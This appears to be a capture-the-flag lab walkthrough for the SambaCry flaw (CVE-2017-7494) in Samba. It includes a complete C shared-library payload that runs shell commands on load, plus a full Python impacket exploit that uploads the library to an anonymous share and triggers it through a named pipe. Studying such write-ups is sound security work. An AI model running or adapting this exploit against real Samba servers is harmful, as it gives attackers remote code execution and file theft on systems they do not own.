Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494)
Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494)
Platform: CUSTOM | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: cross_compilation_docker, impacket_monkey_patching, malicious_so_injection, named_pipe_dlopen_trigger, smb_share_enumeration, srvsvc_share_path_enumeration, writable_share_upload
Summary
Walkthrough of the CUSTOM Pentest Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494). Task: Samba 4.6.3 server with writable anonymous share, exploit CVE-2017-7494 (SambaCry) to read /secret.txt. Solution: upload malicious .so to writable share, trigger dlopen via IPC$ named pipe with
Description
Samba is an open-source network file system protocol that provides services such as file and printer sharing. This laboratory contains the CVE-2017-7494 vulnerability found in Samba versions since 3.5.0 and before 4.6.4, 4.5.10, and 4.4.14. This vulnerability allows attackers to perform remote code execution attacks, enabling the execution of arbitrary commands on the server and potentially taking control of the system. What is the secret in the /secret.txt file? Target: 172.20.26.134
English summary: A Samba 4.6.3 server is running on the target with a writable share accessible via anonymous/guest authentication. The goal is to exploit CVE-2017-7494 (SambaCry / is_known_pipename) to achieve remote code execution and read the contents of /secret.txt.
Analysis
CVE-2017-7494 — SambaCry / is_known_pipename
This vulnerability exists in Samba's is_known_pipename() function. When a client opens a named pipe on the IPC$ share, Samba checks whether the pipe name is a "known" pipe. If the pipe name contains a forward slash /, Samba treats it as a filesystem path and calls dlopen() on it, loading the file as a shared library and executing its samba_init_module() function.
Attack chain:
- Find a writable SMB share
- Upload a malicious
.soshared library with asamba_init_module()entry point - Determine the on-disk path of the share
- Connect to IPC$ and open a named pipe using the full Unix path to the uploaded
.so - Samba calls
dlopen()on the path → arbitrary code execution as the Samba process
Reconnaissance
Port 445 (SMB) is open. Samba version 4.6.3 is identified — vulnerable to CVE-2017-7494.
Share enumeration via smbclient -L //172.20.26.134 -N revealed:
myshare(Disk) — writable with anonymous accessIPC$— standard IPC share
Used impacket's SRVSVC hNetrShareEnum (level 2) to discover the on-disk path of myshare → /home/share.
Key Challenge: impacket Slash Conversion
A critical implementation detail was discovered: impacket's SMB.nt_create_andx() method contains filename = filename.replace('/', '\\') on its first line, which converts all forward slashes to backslashes. This completely breaks the CVE-2017-7494 exploit because Samba's is_known_pipename() specifically checks for forward slashes / to decide whether to treat the pipe name as a filesystem path.
Multiple SMB libraries (impacket, pysmb) perform this conversion, making off-the-shelf exploitation non-trivial from Python.
Solution
Step 1: Compile the Malicious Shared Library
The payload is a C shared library with samba_init_module() that copies /secret.txt into the share directory:
c read-only • copy allowed#include <stdio.h> #include <stdlib.h> /* Samba loads this and calls samba_init_module(). Copy /secret.txt into candidate share paths so we can read it back over SMB. */ static void do_exfil(void) { const char *paths[] = { "/samba/loot.txt", "/var/samba/loot.txt", "/srv/samba/loot.txt", "/srv/samba/share/loot.txt", "/home/share/loot.txt", "/tmp/loot.txt", "loot.txt", NULL }; for (int i = 0; paths[i]; i++) { char cmd[512]; snprintf(cmd, sizeof(cmd), "cp /secret.txt '%s' 2>/dev/null; chmod 666 '%s' 2>/dev/null", paths[i], paths[i]); system(cmd); } /* Also try to copy the file into the current working directory (share dir) */ system("cp /secret.txt ./loot.txt 2>/dev/null; chmod 666 ./loot.txt 2>/dev/null"); } int samba_init_module(void) { do_exfil(); return 0; } /* constructor as backup */ __attribute__((constructor)) static void init(void) { do_exfil(); }
Cross-compiled for x86_64 Linux from macOS ARM64 using Docker:
bash read-only • copy alloweddocker run --rm --platform linux/amd64 -v "$PWD":/work -w /work gcc:latest \ bash -c "gcc -shared -fPIC -o payload.so payload.c"
Step 2: Upload and Trigger — Full Exploit
The key insight is monkey-patching impacket's nt_create_andx to preserve forward slashes in the pipe name:
python read-only • copy allowed#!/usr/bin/env python3 """ CVE-2017-7494 SambaCry exploit Monkey-patch impacket's nt_create_andx to NOT convert / to \\ """ import os, sys, time from io import BytesIO from impacket.smbconnection import SMBConnection from impacket.smb import (SMB, SMB_DIALECT, SMBCommand, NewSMBPacket, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, SMBNtCreateAndXResponse_Parameters, FILE_SHARE_READ, FILE_SHARE_WRITE, FILE_OPEN, READ_CONTROL, FILE_WRITE_ATTRIBUTES, FILE_READ_ATTRIBUTES, FILE_WRITE_EA, FILE_READ_EA, FILE_APPEND_DATA, FILE_WRITE_DATA) TARGET = "172.20.26.134" PORT = 445 SO_LOCAL = "payload.so" SO_NAME = "libpoc.so" SHARE = "myshare" SHARE_PATH = "/home/share" def nt_create_andx_noslash(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=FILE_SHARE_READ | FILE_SHARE_WRITE, disposition=FILE_OPEN, accessMask=READ_CONTROL | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_WRITE_EA | FILE_READ_EA | FILE_APPEND_DATA | FILE_WRITE_DATA): """Patched version that does NOT convert / to \\""" # DO NOT convert slashes: filename = filename.replace('/', '\\') filename = (filename.encode('utf-16le') if self._SMB__flags2 & SMB.FLAGS2_UNICODE else filename) if smb_packet is None: smb = NewSMBPacket() smb['Tid'] = tid else: smb = smb_packet if cmd is None: ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() ntCreate['Data'] = SMBNtCreateAndX_Data(flags=self._SMB__flags2) ntCreate['Parameters']['FileNameLength'] = len(filename) ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Parameters']['AccessMask'] = accessMask ntCreate['Parameters']['CreateOptions'] = 0x40 ntCreate['Parameters']['ShareAccess'] = shareAccessMode ntCreate['Parameters']['Disposition'] = disposition ntCreate['Data']['FileName'] = filename if self._SMB__flags2 & SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 else: ntCreate = cmd smb.addCommand(ntCreate) self.sendSMB(smb) smb = self.recvSMB() if smb.isValidAnswer(SMB.SMB_COM_NT_CREATE_ANDX): ntCreateResponse = SMBCommand(smb['Data'][0]) ntCreateParameters = SMBNtCreateAndXResponse_Parameters( ntCreateResponse['Parameters']) self.fid = ntCreateParameters['Fid'] return ntCreateParameters['Fid'] return None # Monkey-patch impacket SMB.nt_create_andx = nt_create_andx_noslash def exploit(): # 1. Upload payload to writable share smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT) smb.login(user='', password='') with open(SO_LOCAL, 'rb') as f: smb.putFile(SHARE, SO_NAME, f.read) print(f"[+] Uploaded {SO_NAME}") smb.close() # 2. Trigger via SMB1 named pipe with full Unix path smb1 = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT, preferredDialect=SMB_DIALECT) smb1.login(user='', password='') fullpath = f"{SHARE_PATH}/{SO_NAME}" # /home/share/libpoc.so print(f"[*] Triggering: {fullpath}") try: smb_obj = smb1.getSMBServer() tid = smb_obj.tree_connect_andx('\\\\*SMBSERVER\\IPC$') fid = smb_obj.nt_create_andx(tid, fullpath) print(f"[+] Opened! fid={fid}") except Exception as e: # STATUS_OBJECT_NAME_NOT_FOUND is expected — dlopen side effect already fired print(f" [*] Exception (expected): {e}") smb1.close() # 3. Retrieve exfiltrated data time.sleep(3) smb2 = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT) smb2.login(user='', password='') buf = BytesIO() smb2.getFile(SHARE, "loot.txt", buf.write) content = buf.getvalue().decode('utf-8', errors='replace') print(f"\n[+] SECRET: {content}") smb2.close() if __name__ == "__main__": exploit()
Step 3: Execution Flow
- Upload: Connect to
mysharewith anonymous credentials, uploadpayload.soaslibpoc.so - Trigger: Force SMB1 dialect (
preferredDialect=SMB_DIALECT), connect to IPC$ tree, open named pipe/home/share/libpoc.sousing the monkey-patchednt_create_andxthat preserves forward slashes - dlopen fires: Samba's
is_known_pipename()sees the/in the pipe name, callsdlopen("/home/share/libpoc.so"), which executessamba_init_module()→system("cp /secret.txt /home/share/loot.txt") - Retrieve: The
STATUS_OBJECT_NAME_NOT_FOUNDerror is expected (the pipe doesn't exist as a real pipe), but thedlopen()side effect has already executed. After a brief delay,loot.txtappears in the share and is downloaded via SMB
Key Takeaways / Lessons
- Mastering cross_compilation_docker, impacket_monkey_patching, malicious_so_injection, named_pipe_dlopen_trigger, smb_share_enumeration, srvsvc_share_path_enumeration, writable_share_upload was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-08 • CUSTOM • Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494) • Difficulty: Easy